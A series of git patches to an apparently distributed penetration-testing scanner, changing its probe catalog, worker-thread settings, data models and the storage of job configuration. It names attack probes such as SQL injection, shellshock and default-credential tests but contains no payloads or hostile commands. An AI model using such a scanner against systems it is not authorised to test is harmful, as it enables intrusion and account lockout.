redmesh_test_attestation job_specs["last_attestation_at"] = now_ts except Exception as exc: + import traceback self.P( - f"Failed to submit RedMesh test attestation for job {job_id}: {exc}", + f"[ATTESTATION] Failed to submit test attestation for job {job_id}: {exc}\n" + f" Type: {type(exc).__name__}\n" + f" Args: {exc.args}\n" + f" Traceback:\n{traceback.format_exc()}", color='r' ) @@ -1869,8 +1893,12 @@ def launch_test( if redmesh_job_start_attestation is not None: job_specs["redmesh_job_start_attestation"] = redmesh_job_start_attestation except Exception as exc: + import traceback self.P( - f"Failed to submit RedMesh job-start attestation for job {job_id}: {exc}", + f"[ATTESTATION] Failed to submit job-start attestation for job {job_id}: {exc}\n" + f" Type: {type(exc).__name__}\n" + f" Args: {exc.args}\n" + f" Traceback:\n{traceback.format_exc()}", color='r' ) From a6eda1728ecfcf3d011f158912537f9ecd32b0b3 Mon Sep 17 00:00:00 2001 From: toderian Date: Fri, 6 Mar 2026 19:49:42 +0000 Subject: [PATCH 007/114] feat: user can configure the count of scanning threads on UI --- .../business/cybersec/red_mesh/constants.py | 85 ++----------------- .../cybersec/red_mesh/pentester_api_01.py | 25 +++++- 2 files changed, 31 insertions(+), 79 deletions(-) diff --git a/extensions/business/cybersec/red_mesh/constants.py b/extensions/business/cybersec/red_mesh/constants.py index d6face4a..0890779e 100644 --- a/extensions/business/cybersec/red_mesh/constants.py +++ b/extensions/business/cybersec/red_mesh/constants.py @@ -40,9 +40,7 @@ "_service_info_elasticsearch", "_service_info_memcached", "_service_info_mongodb", - "_service_info_modbus", - "_service_info_couchdb", - "_service_info_influxdb" + "_service_info_modbus" ] }, { @@ -50,14 +48,14 @@ "label": "Discovery", "description": "Enumerate exposed files, admin panels, homepage secrets, tech fingerprinting, and VPN endpoints (OWASP WSTG-INFO).", "category": "web", - "methods": ["_web_test_common", "_web_test_homepage", "_web_test_tech_fingerprint", "_web_test_vpn_endpoints", "_web_test_cms_fingerprint", "_web_test_verbose_errors", "_web_test_java_servers"] + "methods": ["_web_test_common", "_web_test_homepage", "_web_test_tech_fingerprint", "_web_test_vpn_endpoints"] }, { "id": "web_hardening", "label": "Hardening audit", - "description": "Audit cookie flags, security headers, CORS policy, CSRF tokens, and HTTP methods (OWASP WSTG-CONF).", + "description": "Audit cookie flags, security headers, CORS policy, redirect handling, and HTTP methods (OWASP WSTG-CONF).", "category": "web", - "methods": ["_web_test_flags", "_web_test_security_headers", "_web_test_cors_misconfiguration", "_web_test_http_methods", "_web_test_csrf"] + "methods": ["_web_test_flags", "_web_test_security_headers", "_web_test_cors_misconfiguration", "_web_test_open_redirect", "_web_test_http_methods"] }, { "id": "web_api_exposure", @@ -69,30 +67,16 @@ { "id": "web_injection", "label": "Injection probes", - "description": "Non-destructive probes for path traversal, reflected XSS, SQL injection, SSRF, and open redirect (OWASP WSTG-INPV).", + "description": "Non-destructive probes for path traversal, reflected XSS, and SQL injection (OWASP WSTG-INPV).", "category": "web", - "methods": ["_web_test_path_traversal", "_web_test_xss", "_web_test_sql_injection", "_web_test_ssti", "_web_test_shellshock", "_web_test_php_cgi", "_web_test_ognl_injection", "_web_test_java_deserialization", "_web_test_spring_actuator", "_web_test_open_redirect", "_web_test_ssrf_basic"] - }, - { - "id": "web_auth_design", - "label": "Authentication & design flaws", - "description": "Detect account enumeration, missing rate limiting, and IDOR indicators (OWASP A04).", - "category": "web", - "methods": ["_web_test_account_enumeration", "_web_test_rate_limiting", "_web_test_idor_indicators"] - }, - { - "id": "web_integrity", - "label": "Software integrity", - "description": "Check subresource integrity, mixed content, and client-side library versions (OWASP A08).", - "category": "web", - "methods": ["_web_test_subresource_integrity", "_web_test_mixed_content", "_web_test_js_library_versions"] + "methods": ["_web_test_path_traversal", "_web_test_xss", "_web_test_sql_injection"] }, { "id": "active_auth", "label": "Credential testing", "description": "Test default/weak credentials on database and remote access services. May trigger account lockout.", "category": "service", - "methods": ["_service_info_mysql_creds", "_service_info_postgresql_creds", "_service_info_http_basic_auth"] + "methods": ["_service_info_mysql_creds", "_service_info_postgresql_creds"] }, { "id": "post_scan_correlation", @@ -105,9 +89,6 @@ # Job status constants JOB_STATUS_RUNNING = "RUNNING" -JOB_STATUS_COLLECTING = "COLLECTING" # Launcher merging worker reports -JOB_STATUS_ANALYZING = "ANALYZING" # Running LLM analysis -JOB_STATUS_FINALIZING = "FINALIZING" # Computing risk, writing archive JOB_STATUS_SCHEDULED_FOR_STOP = "SCHEDULED_FOR_STOP" JOB_STATUS_STOPPED = "STOPPED" JOB_STATUS_FINALIZED = "FINALIZED" @@ -188,25 +169,9 @@ "_service_info_modbus": frozenset({"modbus"}), "_service_info_wins": frozenset({"wins", "nbns"}), "_service_info_rsync": frozenset({"rsync"}), - "_service_info_couchdb": frozenset({"http", "https"}), - "_service_info_influxdb": frozenset({"http", "https"}), "_service_info_generic": frozenset({"unknown"}), "_service_info_mysql_creds": frozenset({"mysql"}), "_service_info_postgresql_creds": frozenset({"postgresql"}), - "_service_info_http_basic_auth": frozenset({"http", "https"}), - # OWASP full coverage probes - "_web_test_ssrf_basic": frozenset({"http", "https"}), - "_web_test_account_enumeration": frozenset({"http", "https"}), - "_web_test_rate_limiting": frozenset({"http", "https"}), - "_web_test_idor_indicators": frozenset({"http", "https"}), - "_web_test_subresource_integrity": frozenset({"http", "https"}), - "_web_test_mixed_content": frozenset({"http", "https"}), - "_web_test_js_library_versions": frozenset({"http", "https"}), - "_web_test_verbose_errors": frozenset({"http", "https"}), - "_web_test_java_servers": frozenset({"http", "https"}), - "_web_test_ognl_injection": frozenset({"http", "https"}), - "_web_test_java_deserialization": frozenset({"http", "https"}), - "_web_test_spring_actuator": frozenset({"http", "https"}), } # ===================================================================== @@ -217,18 +182,6 @@ LOCAL_WORKERS_MAX = 16 LOCAL_WORKERS_DEFAULT = 2 -# ===================================================================== -# Port lists -# ===================================================================== - -COMMON_PORTS = [ - 21, 22, 23, 25, 53, 80, 110, 143, 161, 443, 445, - 502, 1433, 1521, 27017, 3306, 3389, 5432, 5900, - 8080, 8443, 9200, 11211 -] - -ALL_PORTS = list(range(1, 65536)) - # ===================================================================== # Risk score computation # ===================================================================== @@ -237,26 +190,4 @@ RISK_CONFIDENCE_MULTIPLIERS = {"certain": 1.0, "firm": 0.8, "tentative": 0.5} RISK_SIGMOID_K = 0.02 RISK_CRED_PENALTY_PER = 15 -RISK_CRED_PENALTY_CAP = 30 - -# ===================================================================== -# Job archive -# ===================================================================== - -JOB_ARCHIVE_VERSION = 1 -MAX_CONTINUOUS_PASSES = 100 - -# ===================================================================== -# Live progress publishing -# ===================================================================== - -PROGRESS_PUBLISH_INTERVAL = 10 # seconds between progress updates to CStore - -# Scan phases in execution order (5 phases total) -PHASE_ORDER = ["port_scan", "fingerprint", "service_probes", "web_tests", "correlation"] -PHASE_MARKERS = { - "fingerprint": "fingerprint_completed", - "service_probes": "service_info_completed", - "web_tests": "web_tests_completed", - "correlation": "correlation_completed", -} +RISK_CRED_PENALTY_CAP = 30 \ No newline at end of file diff --git a/extensions/business/cybersec/red_mesh/pentester_api_01.py b/extensions/business/cybersec/red_mesh/pentester_api_01.py index 023d63e5..a4e922b0 100644 --- a/extensions/business/cybersec/red_mesh/pentester_api_01.py +++ b/extensions/business/cybersec/red_mesh/pentester_api_01.py @@ -48,6 +48,9 @@ RISK_SIGMOID_K, RISK_CRED_PENALTY_PER, RISK_CRED_PENALTY_CAP, + LOCAL_WORKERS_MIN, + LOCAL_WORKERS_MAX, + LOCAL_WORKERS_DEFAULT, ) __VER__ = '0.9.0' @@ -65,7 +68,7 @@ "REDMESH_VERBOSE" : 10, # Verbosity level for debug messages (0 = off, 1+ = debug) - "NR_LOCAL_WORKERS" : 8, + "NR_LOCAL_WORKERS" : LOCAL_WORKERS_DEFAULT, "WARMUP_DELAY" : 30, @@ -819,7 +822,13 @@ def _maybe_launch_jobs(self, nr_local_workers=None): ics_safe_mode = job_specs.get("ics_safe_mode", self.cfg_ics_safe_mode) scanner_identity = job_specs.get("scanner_identity", self.cfg_scanner_identity) scanner_user_agent = job_specs.get("scanner_user_agent", self.cfg_scanner_user_agent) - workers_requested = nr_local_workers if nr_local_workers is not None else self.cfg_nr_local_workers + workers_from_spec = job_specs.get("nr_local_workers") + if nr_local_workers is not None: + workers_requested = nr_local_workers + elif workers_from_spec is not None and int(workers_from_spec) > 0: + workers_requested = int(workers_from_spec) + else: + workers_requested = self.cfg_nr_local_workers self.P("Using {} local workers for job {}".format(workers_requested, job_id)) try: local_jobs = self._launch_job( @@ -1653,6 +1662,7 @@ def launch_test( authorized: bool = False, created_by_name: str = "", created_by_id: str = "", + nr_local_workers: int = 0, ): """ Start a pentest on the specified target. @@ -1694,6 +1704,9 @@ def launch_test( List of peer addresses to run the test on. If not provided or empty, all configured chainstore_peers will be used. Each address must exist in the chainstore_peers configuration. + nr_local_workers: int, optional + Number of parallel scan threads each worker node spawns (1-16). + The assigned port range is split evenly across threads. 0 = use config default. Returns ------- @@ -1769,6 +1782,12 @@ def launch_test( if scan_min_delay > scan_max_delay: scan_min_delay, scan_max_delay = scan_max_delay, scan_min_delay + # Validate local workers (parallel scan threads per worker node) + nr_local_workers = int(nr_local_workers) + if nr_local_workers <= 0: + nr_local_workers = self.cfg_nr_local_workers + nr_local_workers = max(LOCAL_WORKERS_MIN, min(LOCAL_WORKERS_MAX, nr_local_workers)) + # Validate and determine which peers to use chainstore_peers = self.cfg_chainstore_peers if not chainstore_peers: @@ -1872,6 +1891,8 @@ def launch_test( "scanner_identity": scanner_identity, "scanner_user_agent": scanner_user_agent, "authorized": True, + # Parallel scan threads per worker node + "nr_local_workers": nr_local_workers, # User identity (forwarded from Navigator UI) "created_by_name": created_by_name or None, "created_by_id": created_by_id or None, From ca913e306330f6ae228f674c847df7c2c4ef6013 Mon Sep 17 00:00:00 2001 From: toderian Date: Sat, 7 Mar 2026 19:36:48 +0000 Subject: [PATCH 008/114] feat: add data models package --- .../cybersec/red_mesh/models/archive.py | 17 ++++------------- .../business/cybersec/red_mesh/models/cstore.py | 4 +--- .../business/cybersec/red_mesh/models/shared.py | 6 ------ 3 files changed, 5 insertions(+), 22 deletions(-) diff --git a/extensions/business/cybersec/red_mesh/models/archive.py b/extensions/business/cybersec/red_mesh/models/archive.py index 2aa77402..7ad044ab 100644 --- a/extensions/business/cybersec/red_mesh/models/archive.py +++ b/extensions/business/cybersec/red_mesh/models/archive.py @@ -13,9 +13,6 @@ from dataclasses import dataclass, asdict from extensions.business.cybersec.red_mesh.models.shared import _strip_none -from extensions.business.cybersec.red_mesh.constants import ( - DISTRIBUTION_SLICE, PORT_ORDER_SEQUENTIAL, RUN_MODE_SINGLEPASS, -) @dataclass(frozen=True) @@ -59,12 +56,12 @@ def from_dict(cls, d: dict) -> JobConfig: start_port=d["start_port"], end_port=d["end_port"], exceptions=d.get("exceptions", []), - distribution_strategy=d.get("distribution_strategy", DISTRIBUTION_SLICE), - port_order=d.get("port_order", PORT_ORDER_SEQUENTIAL), + distribution_strategy=d.get("distribution_strategy", "SLICE"), + port_order=d.get("port_order", "SEQUENTIAL"), nr_local_workers=d.get("nr_local_workers", 2), enabled_features=d.get("enabled_features", []), excluded_features=d.get("excluded_features", []), - run_mode=d.get("run_mode", RUN_MODE_SINGLEPASS), + run_mode=d.get("run_mode", "SINGLEPASS"), scan_min_delay=d.get("scan_min_delay", 0), scan_max_delay=d.get("scan_max_delay", 0), ics_safe_mode=d.get("ics_safe_mode", False), @@ -95,7 +92,6 @@ class WorkerReportMeta: ports_scanned: int = 0 open_ports: list = None # [int] nr_findings: int = 0 - node_ip: str = "" # worker node's IP address def to_dict(self) -> dict: d = asdict(self) @@ -112,7 +108,6 @@ def from_dict(cls, d: dict) -> WorkerReportMeta: ports_scanned=d.get("ports_scanned", 0), open_ports=d.get("open_ports", []), nr_findings=d.get("nr_findings", 0), - node_ip=d.get("node_ip", ""), ) @@ -150,9 +145,6 @@ class PassReport: # Scan metrics (pass-level aggregate across all nodes) scan_metrics: dict = None # ScanMetrics.to_dict() - # Per-node scan metrics (node_address -> ScanMetrics.to_dict()) - worker_scan_metrics: dict = None - # Attestation redmesh_test_attestation: dict = None @@ -175,7 +167,6 @@ def from_dict(cls, d: dict) -> PassReport: llm_failed=d.get("llm_failed"), findings=d.get("findings"), scan_metrics=d.get("scan_metrics"), - worker_scan_metrics=d.get("worker_scan_metrics"), redmesh_test_attestation=d.get("redmesh_test_attestation"), ) @@ -191,7 +182,7 @@ class UiAggregate: total_open_ports: list # sorted unique [int] total_services: int total_findings: int - latest_risk_score: float = None # None while scan is in progress + latest_risk_score: float latest_risk_breakdown: dict = None # RiskBreakdown.to_dict() latest_quick_summary: str = None findings_count: dict = None # { CRITICAL: int, HIGH: int, MEDIUM: int, LOW: int, INFO: int } diff --git a/extensions/business/cybersec/red_mesh/models/cstore.py b/extensions/business/cybersec/red_mesh/models/cstore.py index fe17c87e..d4fa6a44 100644 --- a/extensions/business/cybersec/red_mesh/models/cstore.py +++ b/extensions/business/cybersec/red_mesh/models/cstore.py @@ -178,7 +178,7 @@ class WorkerProgress: job_id: str worker_addr: str pass_nr: int - progress: float # 0.0 - 100.0 (stage-based: completed_stages/total * 100) + progress: float # 0.0 - 100.0 phase: str # port_scan | fingerprint | service_probes | web_tests | correlation ports_scanned: int ports_total: int @@ -186,7 +186,6 @@ class WorkerProgress: completed_tests: list # [str] — which probes finished updated_at: float # unix timestamp live_metrics: dict = None # ScanMetrics.to_dict() — partial snapshot, progressively fills in - threads: dict = None # {thread_id: {phase, ports_scanned, ports_total, open_ports_found}} def to_dict(self) -> dict: return _strip_none(asdict(self)) @@ -205,5 +204,4 @@ def from_dict(cls, d: dict) -> WorkerProgress: completed_tests=d.get("completed_tests", []), updated_at=d.get("updated_at", 0), live_metrics=d.get("live_metrics"), - threads=d.get("threads"), ) diff --git a/extensions/business/cybersec/red_mesh/models/shared.py b/extensions/business/cybersec/red_mesh/models/shared.py index bc0e6d4e..377722d8 100644 --- a/extensions/business/cybersec/red_mesh/models/shared.py +++ b/extensions/business/cybersec/red_mesh/models/shared.py @@ -120,10 +120,6 @@ class ScanMetrics: service_distribution: dict = None # { "http": 3, "ssh": 1, "mysql": 1 } finding_distribution: dict = None # { "CRITICAL": 1, "HIGH": 3, "MEDIUM": 7, ... } - # ── Open port details ── - open_port_details: list = None # [ { "port": 22, "protocol": "ssh", "banner_confirmed": True }, ... ] - banner_confirmation: dict = None # { "confirmed": 3, "guessed": 2 } - def to_dict(self) -> dict: return _strip_none(asdict(self)) @@ -148,6 +144,4 @@ def from_dict(cls, d: dict) -> ScanMetrics: port_distribution=d.get("port_distribution"), service_distribution=d.get("service_distribution"), finding_distribution=d.get("finding_distribution"), - open_port_details=d.get("open_port_details"), - banner_confirmation=d.get("banner_confirmation"), ) From 91c4ad46c96c8e021a7e986f37a0a98c213e604d Mon Sep 17 00:00:00 2001 From: toderian Date: Sat, 7 Mar 2026 19:54:12 +0000 Subject: [PATCH 009/114] feat: keep jo config in r1fs --- .../cybersec/red_mesh/pentester_api_01.py | 186 +- .../red_mesh/redmesh_llm_agent_mixin.py | 171 +- .../cybersec/red_mesh/test_redmesh.py | 4911 +---------------- 3 files changed, 254 insertions(+), 5014 deletions(-) diff --git a/extensions/business/cybersec/red_mesh/pentester_api_01.py b/extensions/business/cybersec/red_mesh/pentester_api_01.py index a4e922b0..48634fcf 100644 --- a/extensions/business/cybersec/red_mesh/pentester_api_01.py +++ b/extensions/business/cybersec/red_mesh/pentester_api_01.py @@ -38,6 +38,7 @@ from naeural_core.business.default.web_app.fast_api_web_app import FastApiWebAppPlugin as BasePlugin from .redmesh_utils import PentestLocalWorker # Import PentestJob from separate module from .redmesh_llm_agent_mixin import _RedMeshLlmAgentMixin +from .models import JobConfig from .constants import ( FEATURE_CATALOG, LLM_ANALYSIS_SECURITY_ASSESSMENT, @@ -587,6 +588,30 @@ def _normalize_job_record(self, job_key, job_spec, migrate=False): return job_key, normalized + def _get_job_config(self, job_specs): + """ + Fetch the immutable job config from R1FS via job_config_cid. + + Parameters + ---------- + job_specs : dict + Job specification stored in CStore. + + Returns + ------- + dict + Job config dict, or empty dict if unavailable. + """ + cid = job_specs.get("job_config_cid") + if not cid: + return {} + config = self.r1fs.get_json(cid) + if config is None: + self.P(f"Failed to fetch job config from R1FS (CID: {cid})", color='r') + return {} + return config + + def _get_worker_entry(self, job_id, job_spec): """ Get the worker entry for this node from the job spec. @@ -766,9 +791,6 @@ def _maybe_launch_jobs(self, nr_local_workers=None): continue target = job_specs.get("target") job_id = job_specs.get("job_id", normalized_key) - port_order = job_specs.get("port_order", self.cfg_port_order) - excluded_features = job_specs.get("excluded_features", self.cfg_excluded_features) - enabled_features = job_specs.get("enabled_features", []) if job_id is None: continue worker_entry = self._get_worker_entry(job_id, job_specs) @@ -813,16 +835,20 @@ def _maybe_launch_jobs(self, nr_local_workers=None): if end_port is None: self.P("No end port specified, defaulting to 65535.") end_port = 65535 - exceptions = job_specs.get("exceptions", []) - # Ensure exceptions is always a list (handle legacy string format) + # Fetch job config from R1FS + job_config = self._get_job_config(job_specs) + exceptions = job_config.get("exceptions", []) if not isinstance(exceptions, list): exceptions = [] - scan_min_delay = job_specs.get("scan_min_delay", self.cfg_scan_min_rnd_delay) - scan_max_delay = job_specs.get("scan_max_delay", self.cfg_scan_max_rnd_delay) - ics_safe_mode = job_specs.get("ics_safe_mode", self.cfg_ics_safe_mode) - scanner_identity = job_specs.get("scanner_identity", self.cfg_scanner_identity) - scanner_user_agent = job_specs.get("scanner_user_agent", self.cfg_scanner_user_agent) - workers_from_spec = job_specs.get("nr_local_workers") + port_order = job_config.get("port_order", self.cfg_port_order) + excluded_features = job_config.get("excluded_features", self.cfg_excluded_features) + enabled_features = job_config.get("enabled_features", []) + scan_min_delay = job_config.get("scan_min_delay", self.cfg_scan_min_rnd_delay) + scan_max_delay = job_config.get("scan_max_delay", self.cfg_scan_max_rnd_delay) + ics_safe_mode = job_config.get("ics_safe_mode", self.cfg_ics_safe_mode) + scanner_identity = job_config.get("scanner_identity", self.cfg_scanner_identity) + scanner_user_agent = job_config.get("scanner_user_agent", self.cfg_scanner_user_agent) + workers_from_spec = job_config.get("nr_local_workers") if nr_local_workers is not None: workers_requested = nr_local_workers elif workers_from_spec is not None and int(workers_from_spec) > 0: @@ -1107,7 +1133,8 @@ def _close_job(self, job_id, canceled=False): # Save full report to R1FS and store only CID in CStore if report: # Redact credentials before persisting - redact = job_specs.get("redact_credentials", True) + job_config = self._get_job_config(job_specs) + redact = job_config.get("redact_credentials", True) persist_report = self._redact_report(report) if redact else report try: report_cid = self.r1fs.add_json(persist_report, show_logs=False) @@ -1130,7 +1157,7 @@ def _close_job(self, job_id, canceled=False): worker_entry["report_cid"] = None worker_entry["result"] = report - # Re-read job_specs to avoid overwriting concurrent updates (e.g., pass_history) + # Re-read job_specs to avoid overwriting concurrent updates (e.g., pass_reports) fresh_job_specs = self.chainstore_hget(hkey=self.cfg_instance_id, key=job_id) if fresh_job_specs and isinstance(fresh_job_specs, dict): fresh_job_specs["workers"][self.ee_addr] = worker_entry @@ -1319,7 +1346,7 @@ def _maybe_finalize_pass(self): For all jobs, this method: 1. Detects when all workers have finished the current pass - 2. Records pass completion in pass_history + 2. Records pass completion in pass_reports For CONTINUOUS_MONITORING jobs, additionally: 3. Schedules the next pass after monitor_interval @@ -1353,7 +1380,7 @@ def _maybe_finalize_pass(self): next_pass_at = job_specs.get("next_pass_at") job_pass = job_specs.get("job_pass", 1) job_id = job_specs.get("job_id") - pass_history = job_specs.setdefault("pass_history", []) + pass_reports = job_specs.setdefault("pass_reports", []) # Skip jobs that are already finalized or stopped if job_status in ("FINALIZED", "STOPPED"): @@ -1420,7 +1447,7 @@ def _maybe_finalize_pass(self): color='r' ) - pass_history.append(pass_record) + pass_reports.append(pass_record) # Handle SINGLEPASS - set FINALIZED and exit (no scheduling) if run_mode == "SINGLEPASS": @@ -1465,7 +1492,8 @@ def _maybe_finalize_pass(self): self._run_quick_summary_analysis(job_id, job_specs, workers, pass_nr=job_pass) # Schedule next pass - interval = job_specs.get("monitor_interval", self.cfg_monitor_interval) + job_config = self._get_job_config(job_specs) + interval = job_config.get("monitor_interval", self.cfg_monitor_interval) jitter = random.uniform(0, self.cfg_monitor_jitter) job_specs["next_pass_at"] = self.time() + interval + jitter self._emit_timeline_event(job_specs, "pass_completed", f"Pass {job_pass} completed") @@ -1854,48 +1882,61 @@ def launch_test( job_id = self.uuid(8) self.P(f"Launching {job_id=} {target=} with {exceptions=}") self.P(f"Announcing pentest to workers (instance_id {self.cfg_instance_id})...") + + # Build immutable job config and persist to R1FS + job_config = JobConfig( + target=target, + start_port=start_port, + end_port=end_port, + exceptions=exceptions, + distribution_strategy=distribution_strategy, + port_order=port_order, + nr_local_workers=nr_local_workers, + enabled_features=enabled_features, + excluded_features=excluded_features, + run_mode=run_mode, + scan_min_delay=scan_min_delay, + scan_max_delay=scan_max_delay, + ics_safe_mode=ics_safe_mode, + redact_credentials=redact_credentials, + scanner_identity=scanner_identity, + scanner_user_agent=scanner_user_agent, + task_name=task_name, + task_description=task_description, + monitor_interval=monitor_interval, + selected_peers=active_peers, + created_by_name=created_by_name or "", + created_by_id=created_by_id or "", + authorized=True, + ) + job_config_cid = self.r1fs.add_json(job_config.to_dict(), show_logs=False) + if not job_config_cid: + self.P("Failed to store job config in R1FS — aborting launch", color='r') + return {"error": "Failed to store job config in R1FS"} + job_specs = { "job_id" : job_id, + # Listing fields (duplicated from config for zero-fetch listing) "target": target, - "exceptions" : exceptions, + "task_name": task_name, "start_port" : start_port, "end_port" : end_port, + "risk_score": 0, + "date_created": self.time(), + # Orchestration "launcher": self.ee_addr, "launcher_alias": self.ee_id, "timeline": [], "workers" : workers, - "distribution_strategy": distribution_strategy, - "port_order": port_order, - "excluded_features": excluded_features, - "enabled_features": enabled_features, # Job lifecycle: RUNNING | SCHEDULED_FOR_STOP | STOPPED | FINALIZED "job_status": "RUNNING", # Continuous monitoring fields "run_mode": run_mode, - "monitor_interval": monitor_interval, "job_pass": 1, "next_pass_at": None, - "pass_history": [], - # Dune sand walking - "scan_min_delay": scan_min_delay, - "scan_max_delay": scan_max_delay, - # Human-readable task info - # TODO: rename to job_ - "task_name": task_name, - "task_description": task_description, - # Peer selection (defaults to all chainstore_peers if not specified) - "selected_peers": active_peers, - # Security hardening options - "redact_credentials": redact_credentials, - "ics_safe_mode": ics_safe_mode, - "scanner_identity": scanner_identity, - "scanner_user_agent": scanner_user_agent, - "authorized": True, - # Parallel scan threads per worker node - "nr_local_workers": nr_local_workers, - # User identity (forwarded from Navigator UI) - "created_by_name": created_by_name or None, - "created_by_id": created_by_id or None, + "pass_reports": [], + # Config CID (written once at launch) + "job_config_cid": job_config_cid, } self._emit_timeline_event( job_specs, "created", @@ -2028,9 +2069,9 @@ def list_network_jobs(self): for job_key, job_spec in raw_network_jobs.items(): normalized_key, normalized_spec = self._normalize_job_record(job_key, job_spec) if normalized_key and normalized_spec: - # Replace heavy pass_history with a lightweight count for listing - pass_history = normalized_spec.pop("pass_history", None) - normalized_spec["pass_count"] = len(pass_history) if isinstance(pass_history, list) else 0 + # Replace heavy pass_reports with a lightweight count for listing + pass_reports = normalized_spec.pop("pass_reports", None) + normalized_spec["pass_count"] = len(pass_reports) if isinstance(pass_reports, list) else 0 normalized_jobs[normalized_key] = normalized_spec return normalized_jobs @@ -2126,15 +2167,21 @@ def purge_job(self, job_id: str): if cid: cids.add(cid) - for entry in job_specs.get("pass_history", []): + # Collect CIDs from pass reports + for entry in job_specs.get("pass_reports", []): for addr, cid in entry.get("reports", {}).items(): if cid: cids.add(cid) - for key in ("llm_analysis_cid", "quick_summary_cid"): + for key in ("llm_analysis_cid", "quick_summary_cid", "report_cid"): cid = entry.get(key) if cid: cids.add(cid) + # Collect job config CID + config_cid = job_specs.get("job_config_cid") + if config_cid: + cids.add(config_cid) + # Delete from R1FS (best-effort) deleted = 0 for cid in cids: @@ -2246,7 +2293,7 @@ def stop_monitoring(self, job_id: str, stop_type: str = "SOFT"): "stop_type": stop_type, "job_id": job_id, "passes_completed": passes_completed, - "pass_history": job_specs.get("pass_history", []), + "pass_reports": job_specs.get("pass_reports", []), } @@ -2304,6 +2351,7 @@ def analyze_job( # Add job metadata to report for context target = job_specs.get("target", "unknown") + job_config = self._get_job_config(job_specs) aggregated_report["_job_metadata"] = { "job_id": job_id, "target": target, @@ -2311,7 +2359,7 @@ def analyze_job( "worker_addresses": list(workers.keys()), "start_port": job_specs.get("start_port"), "end_port": job_specs.get("end_port"), - "enabled_features": job_specs.get("enabled_features", []), + "enabled_features": job_config.get("enabled_features", []), } # Call LLM Agent API @@ -2334,23 +2382,23 @@ def analyze_job( "job_id": job_id, } - # Save analysis to R1FS and store in pass_history + # Save analysis to R1FS and store in pass_reports analysis_cid = None - pass_history = job_specs.get("pass_history", []) + pass_reports = job_specs.get("pass_reports", []) current_pass = job_specs.get("job_pass", 1) try: analysis_cid = self.r1fs.add_json(analysis_result, show_logs=False) if analysis_cid: - # Store in pass_history (find the latest completed pass) - if pass_history: + # Store in pass_reports (find the latest completed pass) + if pass_reports: # Update the latest pass entry with analysis CID - pass_history[-1]["llm_analysis_cid"] = analysis_cid + pass_reports[-1]["llm_analysis_cid"] = analysis_cid else: - # No pass_history yet - create one + # No pass_reports yet - create one pass_date_started = self._get_timeline_date(job_specs, "pass_started") or self._get_timeline_date(job_specs, "created") pass_date_completed = self.time() - pass_history.append({ + pass_reports.append({ "pass_nr": current_pass, "date_started": pass_date_started, "date_completed": pass_date_completed, @@ -2358,13 +2406,13 @@ def analyze_job( "reports": {addr: w.get("report_cid") for addr, w in workers.items()}, "llm_analysis_cid": analysis_cid, }) - job_specs["pass_history"] = pass_history + job_specs["pass_reports"] = pass_reports self._emit_timeline_event( job_specs, "llm_analysis", f"Manual LLM analysis completed", actor_type="user", - meta={"analysis_cid": analysis_cid, "pass_nr": pass_history[-1].get("pass_nr") if pass_history else current_pass} + meta={"analysis_cid": analysis_cid, "pass_nr": pass_reports[-1].get("pass_nr") if pass_reports else current_pass} ) self.chainstore_hset(hkey=self.cfg_instance_id, key=job_id, value=job_specs) self.P(f"Manual LLM analysis saved for job {job_id}, CID: {analysis_cid}") @@ -2375,7 +2423,7 @@ def analyze_job( "job_id": job_id, "target": target, "num_workers": len(workers), - "pass_nr": pass_history[-1].get("pass_nr") if pass_history else current_pass, + "pass_nr": pass_reports[-1].get("pass_nr") if pass_reports else current_pass, "analysis_type": analysis_type, "analysis": analysis_result, "analysis_cid": analysis_cid, @@ -2422,27 +2470,27 @@ def get_analysis(self, job_id: str = "", cid: str = "", pass_nr: int = None): if not job_specs: return {"error": "Job not found", "job_id": job_id} - # Look for analysis in pass_history - pass_history = job_specs.get("pass_history", []) + # Look for analysis in pass_reports + pass_reports = job_specs.get("pass_reports", []) job_status = job_specs.get("job_status", "RUNNING") - if not pass_history: + if not pass_reports: if job_status == "RUNNING": return {"error": "Job still running, no passes completed yet", "job_id": job_id, "job_status": job_status} - return {"error": "No pass history available for this job", "job_id": job_id, "job_status": job_status} + return {"error": "No pass reports available for this job", "job_id": job_id, "job_status": job_status} # Find the requested pass (or latest if not specified) target_pass = None if pass_nr is not None: - for entry in pass_history: + for entry in pass_reports: if entry.get("pass_nr") == pass_nr: target_pass = entry break if not target_pass: - return {"error": f"Pass {pass_nr} not found in history", "job_id": job_id, "available_passes": [e.get("pass_nr") for e in pass_history]} + return {"error": f"Pass {pass_nr} not found in history", "job_id": job_id, "available_passes": [e.get("pass_nr") for e in pass_reports]} else: # Get the latest pass - target_pass = pass_history[-1] + target_pass = pass_reports[-1] analysis_cid = target_pass.get("llm_analysis_cid") if not analysis_cid: @@ -2464,7 +2512,7 @@ def get_analysis(self, job_id: str = "", cid: str = "", pass_nr: int = None): "cid": analysis_cid, "target": job_specs.get("target"), "num_workers": len(job_specs.get("workers", {})), - "total_passes": len(pass_history), + "total_passes": len(pass_reports), "analysis": analysis, } except Exception as e: diff --git a/extensions/business/cybersec/red_mesh/redmesh_llm_agent_mixin.py b/extensions/business/cybersec/red_mesh/redmesh_llm_agent_mixin.py index 770b8cc0..582f67fd 100644 --- a/extensions/business/cybersec/red_mesh/redmesh_llm_agent_mixin.py +++ b/extensions/business/cybersec/red_mesh/redmesh_llm_agent_mixin.py @@ -12,8 +12,6 @@ class PentesterApi01Plugin(_LlmAgentMixin, BasePlugin): import requests from typing import Optional -from .constants import RUN_MODE_SINGLEPASS - class _RedMeshLlmAgentMixin(object): """ @@ -193,9 +191,9 @@ def _auto_analyze_report(self, job_id: str, report: dict, target: str) -> Option return analysis_result - def _collect_node_reports(self, workers: dict) -> dict: + def _collect_aggregated_report(self, workers: dict) -> dict: """ - Collect individual node reports from all workers. + Collect and aggregate reports from all workers. Parameters ---------- @@ -205,7 +203,7 @@ def _collect_node_reports(self, workers: dict) -> dict: Returns ------- dict - Mapping {addr: report_dict} for each worker with data. + Aggregated report combining all worker data. """ all_reports = {} @@ -229,56 +227,68 @@ def _collect_node_reports(self, workers: dict) -> dict: all_reports[addr] = report if not all_reports: - self.P("No reports found to collect", color='y') + self.P("No reports found to aggregate", color='y') + return {} - return all_reports + # Aggregate all reports (method from host class) + aggregated = self._get_aggregated_report(all_reports) + return aggregated def _run_aggregated_llm_analysis( self, job_id: str, - aggregated_report: dict, - job_config: dict, - ) -> str | None: + job_specs: dict, + workers: dict, + pass_nr: int = None + ) -> Optional[str]: """ - Run LLM analysis on a pre-aggregated report. + Run LLM analysis on aggregated report from all workers. - The caller aggregates once and passes the result. This method - no longer fetches node reports or saves to R1FS. + Called by the launcher node after all workers complete. Parameters 